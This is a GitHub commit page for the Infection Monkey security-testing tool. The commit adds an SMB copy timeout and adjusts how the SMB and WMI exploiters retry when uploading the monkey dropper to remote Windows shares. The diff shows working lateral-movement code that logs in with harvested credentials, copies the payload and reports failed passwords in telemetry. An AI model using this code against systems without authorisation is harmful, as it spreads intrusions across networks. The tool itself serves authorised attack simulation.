Skip to content

Commit

Permalink
PEP8 in diff files
Browse files Browse the repository at this point in the history
Add concept of non default timeout for copying SMB files. This is by default 5 minutes.
Changed behavior of SMB exploiter if file already exists, we don't assume exploitation is useless and try again. Worse case is we run the monkey after it finished running.
Changed behavior if managed to connect to machine to IPC$ over some dialect. If Success, we don't try again.
  • Loading branch information
danielguardicore committed Sep 5, 2016
1 parent 5ae6784 commit 32c326b
Show file tree
Hide file tree
Showing 6 changed files with 33 additions and 22 deletions.
3 changes: 3 additions & 0 deletions chaos_monkey/config.py
Original file line number Diff line number Diff line change
Expand Up @@ -206,6 +206,9 @@ def as_dict(self):
# rdp exploiter
rdp_use_vbs_download = True

# smb/wmi exploiter
smb_download_timeout = 300 # timeout in seconds

# system info collection
collect_system_info = True

Expand Down
1 change: 1 addition & 0 deletions chaos_monkey/example.conf
Original file line number Diff line number Diff line change
Expand Up @@ -65,6 +65,7 @@
"psexec_user": "Administrator",
"range_size": 30,
"rdp_use_vbs_download": true,
"smb_download_timeout": 300,
"retry_failed_explotation": true,
"scanner_class": "TcpScanner",
"self_delete_in_cleanup": true,
Expand Down
3 changes: 2 additions & 1 deletion chaos_monkey/exploit/__init__.py
Original file line number Diff line number Diff line change
Expand Up @@ -2,6 +2,7 @@

__author__ = 'itamar'


class HostExploiter(object):
__metaclass__ = ABCMeta
_target_os_type = []
Expand All @@ -18,4 +19,4 @@ def exploit_host(self, host, depth=-1, src_path=None):
from smbexec import SmbExploiter
from rdpgrinder import RdpExploiter
from sshexec import SSHExploiter
from shellshock import ShellShockExploiter
from shellshock import ShellShockExploiter
4 changes: 3 additions & 1 deletion chaos_monkey/exploit/smbexec.py
Original file line number Diff line number Diff line change
Expand Up @@ -79,7 +79,8 @@ def exploit_host(self, host, depth=-1, src_path=None):
self._config.psexec_user,
password,
src_path,
self._config.dropper_target_path)
self._config.dropper_target_path,
self._config.smb_download_timeout)

if remote_full_path is not None:
LOG.debug("Successfully logged in %r using SMB (%s : %s)",
Expand Down Expand Up @@ -131,6 +132,7 @@ def exploit_host(self, host, depth=-1, src_path=None):
return False

smb_conn = rpctransport.get_smb_connection()
break

# We don't wanna deal with timeouts from now on.
smb_conn.setTimeout(100000)
Expand Down
41 changes: 22 additions & 19 deletions chaos_monkey/exploit/tools.py
Original file line number Diff line number Diff line change
Expand Up @@ -22,6 +22,7 @@
class DceRpcException(Exception):
pass


__author__ = 'itamar'

LOG = logging.getLogger(__name__)
Expand Down Expand Up @@ -111,7 +112,6 @@ def dcom_cleanup():
DCOMConnection.PINGTIMER.join()
DCOMConnection.PINGTIMER = None


@staticmethod
def get_object(wmi_connection, object_name):
assert isinstance(wmi_connection, WmiTools.WmiConnection)
Expand All @@ -132,7 +132,7 @@ def list_object(wmi_connection, object_name, fields=None, where=None):
wql_query = "SELECT %s FROM %s" % (fields_query, object_name)

if where:
wql_query += " WHERE %s" % (where, )
wql_query += " WHERE %s" % (where,)

LOG.debug("Execution WQL query: %r", wql_query)

Expand Down Expand Up @@ -166,13 +166,13 @@ def list_object(wmi_connection, object_name, fields=None, where=None):

class SmbTools(object):
@staticmethod
def copy_file(host, username, password, src_path, dst_path):
assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path, )
def copy_file(host, username, password, src_path, dst_path, timeout=60):
assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,)

config = __import__('config').WormConfiguration
src_file_size = monkeyfs.getsize(src_path)

smb, dialect = SmbTools.new_smb_connection(host, username, password)
smb, dialect = SmbTools.new_smb_connection(host, username, password, timeout)
if not smb:
return None

Expand All @@ -183,7 +183,8 @@ def copy_file(host, username, password, src_path, dst_path):

try:
smb.logoff()
except: pass
except:
pass

return None

Expand Down Expand Up @@ -236,9 +237,9 @@ def copy_file(host, username, password, src_path, dst_path):
'share_path': share_path}

if dst_path.lower().startswith(share_path.lower()):
high_priority_shares += ((ntpath.sep + dst_path[len(share_path):], share_info), )
high_priority_shares += ((ntpath.sep + dst_path[len(share_path):], share_info),)

low_priority_shares += ((ntpath.sep + file_name, share_info), )
low_priority_shares += ((ntpath.sep + file_name, share_info),)

shares = high_priority_shares + low_priority_shares

Expand All @@ -248,7 +249,7 @@ def copy_file(host, username, password, src_path, dst_path):
share_path = share['share_path']

if not smb:
smb, _ = SmbTools.new_smb_connection(host, username, password)
smb, _ = SmbTools.new_smb_connection(host, username, password, timeout)
if not smb:
return None

Expand All @@ -271,14 +272,16 @@ def copy_file(host, username, password, src_path, dst_path):
if file_info:
if src_file_size == file_info[0].get_filesize():
LOG.debug("Remote monkey file is same as source, skipping copy")
return None
return remote_full_path

LOG.debug("Remote monkey file is found but different, moving along with attack")
except:
pass # file isn't found on remote victim, moving on

try:
with monkeyfs.open(src_path, 'rb') as source_file:
# make sure of the timeout
smb.setTimeout(timeout)
smb.putFile(share_name, remote_path, source_file.read)

file_uploaded = True
Expand Down Expand Up @@ -308,7 +311,7 @@ def copy_file(host, username, password, src_path, dst_path):
return remote_full_path

@staticmethod
def new_smb_connection(host, username, password):
def new_smb_connection(host, username, password, timeout=60):
try:
smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445)
except Exception, exc:
Expand All @@ -334,14 +337,15 @@ def new_smb_connection(host, username, password):
host, username, password, exc)
return None, dialect

smb.setTimeout(timeout)
return smb, dialect

@staticmethod
def execute_rpc_call(smb, rpc_func, *args):
dce = SmbTools.get_dce_bind(smb)
rpc_method_wrapper = getattr(srvs, rpc_func, None)
if not rpc_method_wrapper:
raise ValueError("Cannot find RPC method '%s'" % (rpc_method_wrapper, ))
raise ValueError("Cannot find RPC method '%s'" % (rpc_method_wrapper,))

return rpc_method_wrapper(dce, *args)

Expand Down Expand Up @@ -376,12 +380,12 @@ def create_transfer(host, src_path, local_ip=None, local_port=None):

return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd


def get_target_monkey(host):
from control import ControlClient
import platform
import sys

if host.monkey_exe:
return host.monkey_exe

Expand All @@ -391,15 +395,15 @@ def get_target_monkey(host):
monkey_path = ControlClient.download_monkey_exe(host)

if host.os.get('machine') and monkey_path:
host.monkey_exe = monkey_path
host.monkey_exe = monkey_path

if not monkey_path:
if host.os.get('type') == platform.system().lower():
# if exe not found, and we have the same arch or arch is unknown and we are 32bit, use our exe
if (not host.os.get('machine') and sys.maxsize < 2**32) or \
if (not host.os.get('machine') and sys.maxsize < 2 ** 32) or \
host.os.get('machine', '').lower() == platform.machine().lower():
monkey_path = sys.executable

return monkey_path


Expand All @@ -425,5 +429,4 @@ def report_failed_login(exploiter, machine, user, password):
from control import ControlClient
ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__,
'exploiter': exploiter.__class__.__name__,
'user':user,'password':password})

'user': user, 'password': password})
3 changes: 2 additions & 1 deletion chaos_monkey/exploit/wmiexec.py
Original file line number Diff line number Diff line change
Expand Up @@ -81,7 +81,8 @@ def exploit_host(self, host, depth=-1, src_path=None):
self._config.psexec_user,
password,
src_path,
self._config.dropper_target_path)
self._config.dropper_target_path,
self._config.smb_download_timeout)

if not remote_full_path:
wmi_connection.close()
Expand Down

0 comments on commit 32c326b

Please sign in to comment.